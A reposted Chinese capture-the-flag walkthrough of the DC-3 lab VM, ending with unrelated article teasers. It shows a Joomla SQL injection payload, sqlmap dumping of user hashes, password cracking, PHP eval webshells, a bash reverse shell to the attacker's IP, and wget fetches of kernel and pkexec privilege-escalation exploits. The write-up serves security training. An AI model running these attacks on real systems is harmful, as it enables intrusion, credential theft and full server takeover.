DC-3靶机

news2024/12/23 8:40:53

一.环境搭建

下载地址:

http://www.five86.com/downloads/DC-3-2.zip

下载不下来的可以用迅雷输入上面的网址进行下载

虚拟机配置:

切换连接桥接模式为nat模式,启动靶机,出现如下报错,进入虚拟机配置

选中CD/DVD,点击右小角的高级选项,选择IDE 0:0,点击确定

 启动虚拟机,如下图所示,启动成功

二.开始渗透

1.信息收集

首先第一步,找到靶机的ip地址,输入以下命令

arp-scan -l

可以看到靶机的ip地址为192.168.111.131,本机kali(攻击机)的ip地址为192.168.111.128 

 用nmap查看开放端口和服务

nmap -sV -p- 192.168.111.131

开启了一个http服务,访问一下这个地址

得到提示(我感觉不是提示) 

用工具扫描一下这个是什么cms

whatweb -v http://192.168.111.131

joomla cms,可以去网上查一下他的相关漏洞,根据其他大佬的文章,针对joomla有一个跟wpscan对wordpress一样的工具 ,叫做joomscan,下面的安装仅针对kali

apt-get install joomscan
joomscan --url http://192.168.111.131

得知他的目录信息,和版本号为3.7.0

利用searchsploit搜索相关漏洞

searchsploit joomla 3.7.0

2.漏洞利用

查看漏洞详情

 他给出了sqlmap的命令,往下翻可以看到利用的payload

http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)

 我们进行测试,成功的话就可以放到sqlmap中自动化注入

 可以看到回显出了joomladb

使用sqlmap爆出库名(用网上这种一次次爆破的方式我的sqlmap会报错误)

用漏洞信息中自带的sqlmap进行操作(这玩意跑的是真的慢啊,我都想手测了)

sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs

sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables

 读入如下表,直接__users

sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns

 最终把结果dump下来

 sqlmap -u "http://192.168.111.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C name,password --dump

 3.密码破解

我们可以看到数据库中的账号以及加密后的密码,使用john对密码进行破解

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

创建文件 

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test

爆破密码

john test
john test --show 

可以看到密码为snoopy

我们前面已经利用工具跑出了它的后台地址,用admin/snoopy进行后台登录

http://192.168.111.131/administrator/

登录成功

 4.写入shell

 在此处,可以通过模板向网站写入shell

点击一个模板进入,点击新建文件(new file)

<?php assert(@$_POST['a']); ?>

http://192.168.111.131/templates/beez3/shell.php

上面那个shell不知道为什么连不上,换下面这个 

<?php @eval($_POST['mlws']); ?> 

访问这个地址一片空白,用工具对shell进行连接

 5.进行提权

进行linux内核提权

uname -a
cat /etc/issue

寻找内核提权脚本

searchsploit Ubuntu 16.04

searchsploit -p 39772
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

在文件中可以找到漏洞利用的exp地址

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

这个地址已经失效了,根据我查找其他的wp得知以下地址可以下载

https://www.zacarx.com/a/aa/39772.zip

 下载,解压,上传exploit.tar到目录下

我直接物理机下载拖拽到kali中,通过蚁剑上传到目录下

tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh

执行这个./compile.sh我这边会报错,但是不影响后面提权,最好还是操作一下(可能这个报错不影响编译) 

反弹一个交互式的shell

创建一个phpshell.php文件,写入

<?php
system("$sock=fsockopen(\"192.168.111.128\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");");
?>

 上面这个shell我在实践过程中无效

下面我提供一下自己生成的shell

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.111.128/4444 0>&1'");?>

在kali端起一个端口进行监听

nc -lvvp 4444

 在蚁剑端输入以下命令

php phpshell.php

 

成功反弹shell

执行刚刚上传的exp

./doubleput

成功提权为root(这个过程要等一段时间,他说等一分钟,等十几秒就好)

成功获得最终的flag 

三.其他

1.提权阶段可以使用CVE-2021-4034漏洞进行提权

CVE-2021-4034漏洞exp

GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

利用脚本:https://www.zacarx.com/a/aa/CVE-2021-4034-main.zip

我们下载脚本

wget https://www.zacarx.com/a/aa/CVE-2021-4034-main.zip

一样上传到目录下,进行如下命令

unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034

但是我没试验成功,参考文章如下,感兴趣的师傅可以尝试一下,指出我操作的错误

【CTF】靶机:DC-3-阿里云开发者社区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1538745.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言:自定义类型(结构体)

目录 一、结构的特殊声明二、结构的自引用三、结构体内存对齐1.对齐规则2.为什么存在内存对齐(1)平台原因 (移植原因)&#xff1a;(2)性能原因&#xff1a; 3.修改默认对齐数 四、结构体传参五、结构体实现位段1.什么是位段2.位段的内存分配3.位段的跨平台问题4.位段使用的注意…

使用Python和OpenFOAM进行流体力学模拟的基础示例

流体力学模拟通常涉及复杂的数学方程和数值方法&#xff0c;例如计算流体动力学(CFD)。OpenFOAM是一个开源的CFD工具箱&#xff0c;它使用C编写&#xff0c;但可以通过Python脚本进行自动化和定制。 以下是一个简单的示例&#xff0c;展示如何使用Python和OpenFOAM进行流体力学…

【嵌入式开发 Linux 常用命令系列 4.3 -- git add 时单独排除某个目录或者文件】

文章目录 git add 时单独排除某个目录或者文件使用 .gitignore 文件使用命令行排除文件或目录 git add 时单独排除某个目录或者文件 在使用 git add 命令时&#xff0c;如果你想要排除特定的目录或文件&#xff0c;可以使用 .gitignore 文件或使用路径规范来指定不想添加的文件…

YOLOv5-Y5周:yolo.py文件解读

本文为&#x1f517;365天深度学习训练营 中的学习记录博客 原作者&#xff1a;K同学啊|接辅导、项目定制 我的环境&#xff1a; 1.语言&#xff1a;python3.7 2.编译器&#xff1a;pycharm 3.深度学习框架Tensorflow/Pytorch 1.8.0cu111 一、代码解读 import argparse i…

pcie dllp FC

关于pcie dllp FC内容&#xff1a; 源地址&#xff1a; PCIe&#xff08;三&#xff09;—— PCIe协议栈&#xff0c;事务层和数据链路层 | Soul Orbit 3.2. 控制消息&#xff1a;DLLP&#xff08;Data Link Layer Packet&#xff09; 除了传输TLP数据包之外&#xff0c;数…

SQL96 返回顾客名称和相关订单号(表的普通联结、内联结inner join..on..)

方法一&#xff1a;普通联结 select cust_name, order_num from Customers C,Orders O where C.cust_id O.cust_id order by cust_name,order_num;方法二&#xff1a;使用内连接 select cust_name,order_num from Customers C inner join Orders O on C.cust_id O.cust_id …

泛型可空类型Nullable<T>

.Net Framework 4.8版本开始&#xff0c;引入了可空类型Nullable<T>. 对于引用类型的变量来说&#xff0c;如果未赋值&#xff0c;默认情况下是 Null 值&#xff0c; 对于值类型的变量&#xff0c;如果未赋值&#xff0c;整型变量的默认值为 0,Boolean默认为false&…

基于ssm小型企业办公自动化系统论文

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对小型企业办公信息管理混乱&#xff0c;出错率高&#xff0c;信息安全…

EPSON XV4001BC陀螺仪传感器汽车导航系统的应用

近年来为了提高汽车应用系统的可靠性,传感器融合系统被越来越多的应用到汽车领域,如汽车导航系统中的行人检测和预碰撞警告等,通过提供精准的导航信息,为驾驶员提供更安全,更稳定,更舒适的出行体验,例如在行人检测系统中,只使用低成本的红外传感器不能检测到行人的实际位置,而利…

hcip复习总结2(广域网与OSPF)

数据链路层面&#xff1a; 针对不同的物理链路定义不同的封装 局域网封装&#xff1a; Ethernet 2 &#xff08; TCP/IP &#xff09; &#xff0c; IEEE802.3 &#xff08; OSI &#xff09; 广域网封装&#xff1a; PPP HDLC FR ATM HDLC &#xff1a; 高级数据链路控制协…

自动化改变金融科技文档生命周期

金融科技公司可能处于软件开发的最前沿&#xff0c;但即使是最先进的系统也必须能够支持金融服务领域采用的一系列文档密集型程序。因此&#xff0c;绝大多数金融科技企业都使用数字文档管理解决方案&#xff0c;无论是内部构建的还是由第三方供应商开发的。金融科技公司可以通…

JavaScript高级(十)----JavaScript中的类【重述原型链】!

类 在JavaScript其实本来没有类的概念&#xff0c;哪怕是ES5以后的class&#xff0c;严格意义上来说也只是构造函数的语法糖&#xff0c;之所以喜欢称之为类&#xff0c;因为JavaScript也可以面向对象开发。 类的声明 class Person {}function Person1() {}// 上面两种写法本…

2024年3月22蚂蚁新村今日答案:以下哪一项是陕西省的非遗美食?

2024年3月22日蚂蚁新村今日问题的正确答案如下&#xff1a; 问题&#xff1a;以下哪一项是陕西省的非遗美食&#xff1f; 选项&#xff1a;驴肉火烧 水盆羊肉 答案&#xff1a;水盆羊肉 解析&#xff1a;水盆羊肉是陕西省的非遗美食。水盆羊肉是陕西省的一道传统著名饭食&a…

10秒让AI生成PPT,手残党福音

现如今AI确实成为了一个行业的风口无论什么行业都努力的将AI融入到自己产品的领域 AI扩写文字&#xff0c;聊天&#xff0c;生成图片&#xff0c;甚至是视频&#xff0c;都已经司空见惯 今天给大家介绍一款APP——AI生成PPT&#xff0c;一起来看看最终的效果怎么样。 软件分为…

[C++]日期类的实现

本专栏内容为&#xff1a;C学习专栏&#xff0c;分为初阶和进阶两部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握C。 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;C &#x1f69a;代码仓库&#xff1a;小小unicorn的代码仓库&…

基于Verilog HDL的axi-lite主机模块

基于Verilog HDL的axi-lite主机模块 前文对axi_lite接口协议的各个信号做了详细讲解&#xff0c;本文通过Verilog Hdl编写一个通用接口转axi_lite接口协议的模块。 1、生成xilinx官方提供axi源码 Xilinx其实给用户提供了axi相关模块&#xff0c;获取方式如下&#xff0c;首先打…

AI视频风格转换动漫风:Stable Diffusion+TemporalKit

话不多说&#xff0c;直接开干。 基本方法 首先通过 Temporal-Kit 这个插件提取视频中的关键帧图片&#xff0c;然后使用 Stable Diffusion WebUI 重绘关键帧图片&#xff0c;然后再使用 Temporal-Kit 处理转换后的关键帧图片&#xff0c;它会自动补充关键帧之间的图片&#…

通讯录的动态实现

文章目录 通讯录的动态实现模块化编程通讯录的框架构建功能的具体实现初始化通讯录添加联系人删除联系人查找联系人修改联系人打印通讯录排序通讯录检查容量并扩容加载通讯录保留通讯录销毁通讯录 完整代码总结 通讯录的动态实现 模块化编程 分文件 不同模块放在不同的文件下 …

Word为图表设置图注并在图表清单中自动生成

1如果需要自动插入题注&#xff0c;请不要自己为文件增加新的标题样式或删除自带的标题1样式 2章节大标题最好是标题1&#xff0c;2,3而不要设置标题一、二、三&#xff0c;否则图例在自动生成时会显示 图一 -1&#xff0c;调整起来会非常不方便 若实在要使用大写中文标题&…

Rust之构建命令行程序(五):环境变量

开发环境 Windows 11Rust 1.77.0 VS Code 1.87.2 项目工程 这次创建了新的工程minigrep. 使用环境变量 我们将通过添加一个额外的功能来改进minigrep:一个不区分大小写的搜索选项&#xff0c;用户可以通过环境变量打开该选项。我们可以将此功能设置为命令行选项&#xff0c;…